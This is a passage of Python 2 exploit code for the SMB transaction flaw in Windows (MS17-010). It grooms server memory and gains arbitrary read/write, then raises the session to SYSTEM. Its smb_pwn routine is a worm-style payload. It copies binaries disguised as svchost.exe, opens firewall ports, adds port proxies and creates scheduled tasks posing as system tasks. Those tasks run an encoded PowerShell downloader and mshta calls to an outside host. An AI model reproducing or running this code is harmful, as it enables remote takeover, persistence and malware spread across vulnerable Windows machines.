conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<' + fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
return read_data[8:]
|
||||||
|
|
||||||
|
|
||||||
|
def write_data(conn, info, write_addr, write_data):
|
||||||
|
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<' + info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
|
||||||
|
|
||||||
|
def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
|
||||||
|
trans_param = pack('<HH', fid, 0)
|
||||||
|
for i in range(numFill):
|
||||||
|
conn.send_nt_trans(5, param=trans_param, totalDataCount=4304, maxParameterCount=GROOM_TRANS_SIZE - 4304)
|
||||||
|
|
||||||
|
mid_ntrename = conn.next_mid()
|
||||||
|
req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A' * 4304, maxParameterCount=info['GROOM_DATA_SIZE'] - 4304)
|
||||||
|
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B' * 276)
|
||||||
|
req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE'] - 4096, maxParameterCount=4096)
|
||||||
|
reqs = []
|
||||||
|
for i in range(12):
|
||||||
|
mid = next_extra_mid()
|
||||||
|
reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE'] - 512, totalParameterCount=512, maxDataCount=0, maxParameterCount=0))
|
||||||
|
|
||||||
|
conn.send_raw(req1[:-8])
|
||||||
|
conn.send_raw(req1[-8:] + req2 + req3 + ('').join(reqs))
|
||||||
|
leakData = conn.recv_transaction_data(mid_ntrename, 4580)
|
||||||
|
leakData = leakData[4308:]
|
||||||
|
if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET'] + 4] != 'Frag':
|
||||||
|
print 'Not found Frag pool tag in leak data'
|
||||||
|
return None
|
||||||
|
leakData = leakData[info['FRAG_TAG_OFFSET'] - 4 + info['FRAG_POOL_SIZE']:]
|
||||||
|
expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
|
||||||
|
leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
|
||||||
|
if leakData[4:8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN'] + 2] != expected_size or leakData[leakTransOffset + 2:leakTransOffset + 4] != expected_size:
|
||||||
|
print 'No transaction struct in leak data'
|
||||||
|
return None
|
||||||
|
leakTrans = leakData[leakTransOffset:]
|
||||||
|
ptrf = info['PTR_FMT']
|
||||||
|
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<' + ptrf * 5, leakTrans, 8)
|
||||||
|
inparam_value = unpack_from('<' + ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
|
||||||
|
leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
|
||||||
|
print ('CONNECTION: 0x{:x}').format(connection_addr)
|
||||||
|
print ('SESSION: 0x{:x}').format(session_addr)
|
||||||
|
print ('FLINK: 0x{:x}').format(flink_value)
|
||||||
|
print ('InParam: 0x{:x}').format(inparam_value)
|
||||||
|
print ('MID: 0x{:x}').format(leak_mid)
|
||||||
|
next_page_addr = (inparam_value & 18446744073709547520L) + 4096
|
||||||
|
if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
|
||||||
|
print ('unexpected alignment, diff: 0x{:x}').format(flink_value - next_page_addr)
|
||||||
|
return None
|
||||||
|
return {'connection': connection_addr, 'session': session_addr, 'next_page_addr': next_page_addr, 'trans1_mid': leak_mid, 'trans1_addr': (inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN), 'trans2_addr': (flink_value - info['TRANS_FLINK_OFFSET'])}
|
||||||
|
|
||||||
|
|
||||||
|
def exploit_matched_pairs(conn, pipe_name, info):
|
||||||
|
tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
|
||||||
|
conn.set_default_tid(tid)
|
||||||
|
fid = conn.nt_create_andx(tid, pipe_name)
|
||||||
|
info.update(leak_frag_size(conn, tid, fid))
|
||||||
|
info.update(OS_ARCH_INFO[info['os']][info['arch']])
|
||||||
|
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
|
||||||
|
print ('GROOM_POOL_SIZE: 0x{:x}').format(info['GROOM_POOL_SIZE'])
|
||||||
|
info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE']
|
||||||
|
bridePoolSize = 4096 - (info['GROOM_POOL_SIZE'] & 4095) - info['FRAG_POOL_SIZE']
|
||||||
|
info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
|
||||||
|
print ('BRIDE_TRANS_SIZE: 0x{:x}').format(info['BRIDE_TRANS_SIZE'])
|
||||||
|
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
|
||||||
|
leakInfo = None
|
||||||
|
for i in range(10):
|
||||||
|
reset_extra_mid(conn)
|
||||||
|
leakInfo = align_transaction_and_leak(conn, tid, fid, info)
|
||||||
|
if leakInfo is not None:
|
||||||
|
break
|
||||||
|
print 'leak failed... try again'
|
||||||
|
conn.close(tid, fid)
|
||||||
|
conn.disconnect_tree(tid)
|
||||||
|
tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
|
||||||
|
conn.set_default_tid(tid)
|
||||||
|
fid = conn.nt_create_andx(tid, pipe_name)
|
||||||
|
|
||||||
|
if leakInfo is None:
|
||||||
|
return False
|
||||||
|
info['fid'] = fid
|
||||||
|
info.update(leakInfo)
|
||||||
|
shift_indata_byte = 512
|
||||||
|
conn.do_write_andx_raw_pipe(fid, 'A' * shift_indata_byte)
|
||||||
|
indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 4096 + shift_indata_byte
|
||||||
|
indata_next_trans_displacement = info['trans2_addr'] - indata_value
|
||||||
|
conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
|
||||||
|
if recvPkt.getNTStatus() != 65538:
|
||||||
|
print ('unexpected return status: 0x{:x}').format(recvPkt.getNTStatus())
|
||||||
|
print '!!! Write to wrong place !!!'
|
||||||
|
print 'the target might be crashed'
|
||||||
|
return False
|
||||||
|
print 'success controlling groom transaction'
|
||||||
|
print 'modify trans1 struct for arbitrary read/write'
|
||||||
|
fmt = info['PTR_FMT']
|
||||||
|
conn.send_nt_trans_secondary(mid=fid, data=pack('<' + fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
conn.send_nt_trans_secondary(mid=special_mid, data=pack('<' + fmt * 3, info['trans1_addr'], info['trans1_addr'] + 512, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
info['trans2_mid'] = conn.next_mid()
|
||||||
|
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def exploit_fish_barrel(conn, pipe_name, info):
|
||||||
|
tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
|
||||||
|
conn.set_default_tid(tid)
|
||||||
|
fid = conn.nt_create_andx(tid, pipe_name)
|
||||||
|
info['fid'] = fid
|
||||||
|
if info['os'] == 'WIN7' and 'arch' not in info:
|
||||||
|
info.update(leak_frag_size(conn, tid, fid))
|
||||||
|
if 'arch' in info:
|
||||||
|
info.update(OS_ARCH_INFO[info['os']][info['arch']])
|
||||||
|
attempt_list = [OS_ARCH_INFO[info['os']][info['arch']]]
|
||||||
|
else:
|
||||||
|
attempt_list = [
|
||||||
|
OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86']]
|
||||||
|
print 'Groom packets'
|
||||||
|
trans_param = pack('<HH', info['fid'], 0)
|
||||||
|
for i in range(12):
|
||||||
|
mid = info['fid'] if i == 8 else next_extra_mid()
|
||||||
|
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=256 - TRANS_NAME_LEN, totalDataCount=3776, maxParameterCount=64, maxDataCount=0)
|
||||||
|
|
||||||
|
shift_indata_byte = 512
|
||||||
|
conn.do_write_andx_raw_pipe(info['fid'], 'A' * shift_indata_byte)
|
||||||
|
success = False
|
||||||
|
for tinfo in attempt_list:
|
||||||
|
print 'attempt controlling next transaction on ' + tinfo['ARCH']
|
||||||
|
HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE'] + HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
|
||||||
|
NEXT_TRANS_OFFSET = 3840 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
|
||||||
|
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET + tinfo['TRANS_MID_OFFSET'])
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
|
||||||
|
if recvPkt.getNTStatus() == 65538:
|
||||||
|
print 'success controlling one transaction'
|
||||||
|
success = True
|
||||||
|
if 'arch' not in info:
|
||||||
|
print 'Target is ' + tinfo['ARCH']
|
||||||
|
info['arch'] = tinfo['ARCH']
|
||||||
|
info.update(OS_ARCH_INFO[info['os']][info['arch']])
|
||||||
|
break
|
||||||
|
if recvPkt.getNTStatus() != 0:
|
||||||
|
print ('unexpected return status: 0x{:x}').format(recvPkt.getNTStatus())
|
||||||
|
|
||||||
|
if not success:
|
||||||
|
print ('unexpected return status: 0x{:x}').format(recvPkt.getNTStatus())
|
||||||
|
print '!!! Write to wrong place !!!'
|
||||||
|
print 'the target might be crashed'
|
||||||
|
return False
|
||||||
|
print 'modify parameter count to 0xffffffff to be able to write backward'
|
||||||
|
conn.send_trans_secondary(mid=info['fid'], data='\xff\xff\xff\xff', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||||
|
if info['arch'] == 'x64':
|
||||||
|
conn.send_trans_secondary(mid=info['fid'], data='\xff\xff\xff\xff', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'] + 4)
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 4096 + HEAP_CHUNK_PAD_SIZE
|
||||||
|
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
|
||||||
|
PREV_TRANS_OFFSET = 4294967296L - PREV_TRANS_DISPLACEMENT
|
||||||
|
conn.send_nt_trans_secondary(mid=special_mid, param='\xff\xff\xff\xff', paramDisplacement=PREV_TRANS_OFFSET + info['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||||
|
if info['arch'] == 'x64':
|
||||||
|
conn.send_nt_trans_secondary(mid=special_mid, param='\xff\xff\xff\xff', paramDisplacement=PREV_TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'] + 4)
|
||||||
|
conn.send_trans_secondary(mid=info['fid'], data='\x00\x00\x00\x00', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'] + 4)
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
print 'leak next transaction'
|
||||||
|
conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_FUNCTION_OFFSET'])
|
||||||
|
conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 256, 256), dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_PARAMCNT_OFFSET'])
|
||||||
|
conn.send_nt_trans_secondary(mid=special_mid)
|
||||||
|
leakData = conn.recv_transaction_data(special_mid, 256)
|
||||||
|
leakData = leakData[4:]
|
||||||
|
if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != TRANS_CHUNK_SIZE // info['POOL_ALIGN']:
|
||||||
|
print 'chunk size is wrong'
|
||||||
|
return False
|
||||||
|
leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
|
||||||
|
leakTrans = leakData[leakTranOffset:]
|
||||||
|
fmt = info['PTR_FMT']
|
||||||
|
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<' + fmt * 5, leakTrans, 8)
|
||||||
|
inparam_value, outparam_value, indata_value = unpack_from('<' + fmt * 3, leakTrans, info['TRANS_INPARAM_OFFSET'])
|
||||||
|
trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
|
||||||
|
print ('CONNECTION: 0x{:x}').format(connection_addr)
|
||||||
|
print ('SESSION: 0x{:x}').format(session_addr)
|
||||||
|
print ('FLINK: 0x{:x}').format(flink_value)
|
||||||
|
print ('InData: 0x{:x}').format(indata_value)
|
||||||
|
print ('MID: 0x{:x}').format(trans2_mid)
|
||||||
|
trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
|
||||||
|
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
|
||||||
|
print ('TRANS1: 0x{:x}').format(trans1_addr)
|
||||||
|
print ('TRANS2: 0x{:x}').format(trans2_addr)
|
||||||
|
print 'modify transaction struct for arbitrary read/write'
|
||||||
|
TRANS_OFFSET = 4294967296L - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
|
||||||
|
conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<' + fmt * 3, trans1_addr, trans1_addr + 512, trans2_addr), paramDisplacement=TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'])
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
trans1_mid = conn.next_mid()
|
||||||
|
conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
info.update({'connection': connection_addr, 'session': session_addr, 'trans1_mid': trans1_mid, 'trans1_addr': trans1_addr, 'trans2_mid': trans2_mid, 'trans2_addr': trans2_addr})
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
|
||||||
|
SID_SYSTEM = pack('<BB5xBI', 1, 1, 5, 18)
|
||||||
|
SID_ADMINISTRATORS = pack('<BB5xBII', 1, 2, 5, 32, 544)
|
||||||
|
SID_AUTHENICATED_USERS = pack('<BB5xBI', 1, 1, 5, 11)
|
||||||
|
SID_EVERYONE = pack('<BB5xBI', 1, 1, 1, 0)
|
||||||
|
sids = [SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS]
|
||||||
|
attrs = [0, 14, 7, 7]
|
||||||
|
fakeUserAndGroupCount = min(userAndGroupCount, 4)
|
||||||
|
fakeUserAndGroupsAddr = userAndGroupsAddr
|
||||||
|
addr = fakeUserAndGroupsAddr + fakeUserAndGroupCount * info['PTR_SIZE'] * 2
|
||||||
|
fakeUserAndGroups = ''
|
||||||
|
for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
|
||||||
|
fakeUserAndGroups += pack('<' + info['PTR_FMT'] * 2, addr, attr)
|
||||||
|
addr += len(sid)
|
||||||
|
|
||||||
|
fakeUserAndGroups += ('').join(sids[:fakeUserAndGroupCount])
|
||||||
|
return (fakeUserAndGroupCount, fakeUserAndGroups)
|
||||||
|
|
||||||
|
|
||||||
|
def exploit(target, pipe_name, USERNAME, PASSWORD, tg):
|
||||||
|
conn = MYSMB(target)
|
||||||
|
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||||
|
info = {}
|
||||||
|
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
|
||||||
|
server_os = conn.get_server_os()
|
||||||
|
print 'Target OS: ' + server_os
|
||||||
|
if server_os.startswith('Windows 7 ') or server_os.startswith('Windows Server 2008 R2'):
|
||||||
|
info['os'] = 'WIN7'
|
||||||
|
info['method'] = exploit_matched_pairs
|
||||||
|
elif server_os.startswith('Windows 8') or server_os.startswith('Windows Server 2012 ') or server_os.startswith('Windows Server 2016 ') or server_os.startswith('Windows 10') or server_os.startswith('Windows RT 9200'):
|
||||||
|
info['os'] = 'WIN8'
|
||||||
|
info['method'] = exploit_matched_pairs
|
||||||
|
elif server_os.startswith('Windows Server (R) 2008') or server_os.startswith('Windows Vista'):
|
||||||
|
info['os'] = 'WIN7'
|
||||||
|
info['method'] = exploit_fish_barrel
|
||||||
|
elif server_os.startswith('Windows Server 2003 '):
|
||||||
|
info['os'] = 'WIN2K3'
|
||||||
|
info['method'] = exploit_fish_barrel
|
||||||
|
elif server_os.startswith('Windows 5.1'):
|
||||||
|
info['os'] = 'WINXP'
|
||||||
|
info['arch'] = 'x86'
|
||||||
|
info['method'] = exploit_fish_barrel
|
||||||
|
elif server_os.startswith('Windows XP '):
|
||||||
|
info['os'] = 'WINXP'
|
||||||
|
info['arch'] = 'x64'
|
||||||
|
info['method'] = exploit_fish_barrel
|
||||||
|
elif server_os.startswith('Windows 5.0'):
|
||||||
|
info['os'] = 'WIN2K'
|
||||||
|
info['arch'] = 'x86'
|
||||||
|
info['method'] = exploit_fish_barrel
|
||||||
|
else:
|
||||||
|
print 'This exploit does not support this target'
|
||||||
|
if pipe_name is None:
|
||||||
|
pipe_name = find_named_pipe(conn)
|
||||||
|
if pipe_name is None:
|
||||||
|
print 'Not found accessible named pipe'
|
||||||
|
return False
|
||||||
|
print 'Using named pipe: ' + pipe_name
|
||||||
|
if not info['method'](conn, pipe_name, info):
|
||||||
|
return False
|
||||||
|
fmt = info['PTR_FMT']
|
||||||
|
print 'make this SMB session to be SYSTEM'
|
||||||
|
write_data(conn, info, info['session'] + info['SESSION_ISNULL_OFFSET'], '\x00\x01')
|
||||||
|
sessionData = read_data(conn, info, info['session'], 256)
|
||||||
|
secCtxAddr = unpack_from('<' + fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
|
||||||
|
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
|
||||||
|
if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
|
||||||
|
pctxtDataInfo = read_data(conn, info, secCtxAddr + info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
|
||||||
|
pctxtDataAddr = unpack_from('<' + fmt, pctxtDataInfo)[0]
|
||||||
|
else:
|
||||||
|
pctxtDataAddr = secCtxAddr
|
||||||
|
tokenAddrInfo = read_data(conn, info, pctxtDataAddr + info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
|
||||||
|
tokenAddr = unpack_from('<' + fmt, tokenAddrInfo)[0]
|
||||||
|
print ('current TOKEN addr: 0x{:x}').format(tokenAddr)
|
||||||
|
tokenData = read_data(conn, info, tokenAddr, 64 * info['PTR_SIZE'])
|
||||||
|
userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
|
||||||
|
print 'overwriting token UserAndGroups'
|
||||||
|
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
|
||||||
|
if fakeUserAndGroupCount != userAndGroupCount:
|
||||||
|
write_data(conn, info, tokenAddr + userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
|
||||||
|
write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
|
||||||
|
else:
|
||||||
|
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
|
||||||
|
print 'overwriting session security context'
|
||||||
|
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
|
||||||
|
try:
|
||||||
|
smb_pwn(conn, info['arch'], tg)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
|
||||||
|
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
|
||||||
|
write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset + len(fakeUserAndGroups)])
|
||||||
|
if fakeUserAndGroupCount != userAndGroupCount:
|
||||||
|
write_data(conn, info, tokenAddr + userAndGroupCountOffset, pack('<I', userAndGroupCount))
|
||||||
|
else:
|
||||||
|
write_data(conn, info, secCtxAddr, secCtxData)
|
||||||
|
conn.disconnect_tree(conn.get_tid())
|
||||||
|
conn.logoff()
|
||||||
|
conn.get_socket().close()
|
||||||
|
time.sleep(2)
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
|
||||||
|
userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
|
||||||
|
userAndGroupsAddr, RestrictedSids = unpack_from('<' + info['PTR_FMT'] * 2, tokenData, userAndGroupsAddrOffset)
|
||||||
|
success = True
|
||||||
|
if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
|
||||||
|
print 'Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!'
|
||||||
|
print ('RestrictedSids: 0x{:x}').format(RestrictedSids)
|
||||||
|
print ('RestrictedSidCount: 0x{:x}').format(RestrictedSidCount)
|
||||||
|
success = False
|
||||||
|
print ('userAndGroupCount: 0x{:x}').format(userAndGroupCount)
|
||||||
|
print ('userAndGroupsAddr: 0x{:x}').format(userAndGroupsAddr)
|
||||||
|
return (success, userAndGroupCount, userAndGroupsAddr)
|
||||||
|
|
||||||
|
|
||||||
|
def get_group_data_from_token(info, tokenData):
|
||||||
|
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
|
||||||
|
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']
|
||||||
|
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
|
||||||
|
if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
|
||||||
|
print 'Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround'
|
||||||
|
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
|
||||||
|
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
|
||||||
|
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
|
||||||
|
if not success:
|
||||||
|
print 'Bad TOKEN_USER_GROUP offsets. Abort > BSOD'
|
||||||
|
return (
|
||||||
|
userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset)
|
||||||
|
|
||||||
|
|
||||||
|
def smb_pwn(conn, arch, tg):
|
||||||
|
ee = ''
|
||||||
|
eb = 'c:\\windows\\system32\\calc.exe'
|
||||||
|
smbConn = conn.get_smbconnection()
|
||||||
|
if os.path.exists('c:/windows/system32/svhost.exe'):
|
||||||
|
eb = 'c:\\windows\\system32\\svhost.exe'
|
||||||
|
if os.path.exists('c:/windows/SysWOW64/svhost.exe'):
|
||||||
|
eb = 'c:\\windows\\SysWOW64\\svhost.exe'
|
||||||
|
if os.path.exists('c:/windows/system32/drivers/svchost.exe'):
|
||||||
|
eb = 'c:\\windows\\system32\\drivers\\svchost.exe'
|
||||||
|
if os.path.exists('c:/windows/SysWOW64/drivers/svchost.exe'):
|
||||||
|
eb = 'c:\\windows\\SysWOW64\\drivers\\svchost.exe'
|
||||||
|
service_exec(conn, 'cmd /c net share c$=c:')
|
||||||
|
if tg == 2:
|
||||||
|
smb_send_file(smbConn, eb, 'c', '/installed2.exe')
|
||||||
|
else:
|
||||||
|
smb_send_file(smbConn, eb, 'c', '/installed.exe')
|
||||||
|
if os.path.exists('c:/windows/temp/svvhost.exe'):
|
||||||
|
ee = 'c:\\windows\\temp\\svvhost.exe'
|
||||||
|
if os.path.exists('c:/windows/temp/svchost.exe'):
|
||||||
|
ee = 'c:\\windows\\temp\\svchost.exe'
|
||||||
|
if '.exe' in ee:
|
||||||
|
smb_send_file(smbConn, ee, 'c', '/windows/temp/svchost.exe')
|
||||||
|
else:
|
||||||
|
print 'no eb**************************'
|
||||||
|
if tg == 2:
|
||||||
|
bat = 'cmd /c c:\\installed2.exe&c:\\installed2.exe&echo c:\\installed2.exe >c:/windows/temp/p.bat&echo c:\\windows\\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat'
|
||||||
|
else:
|
||||||
|
bat = 'cmd /c c:\\installed.exe&c:\\installed.exe&echo c:\\installed.exe >c:/windows/temp/p.bat&echo c:\\windows\\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i 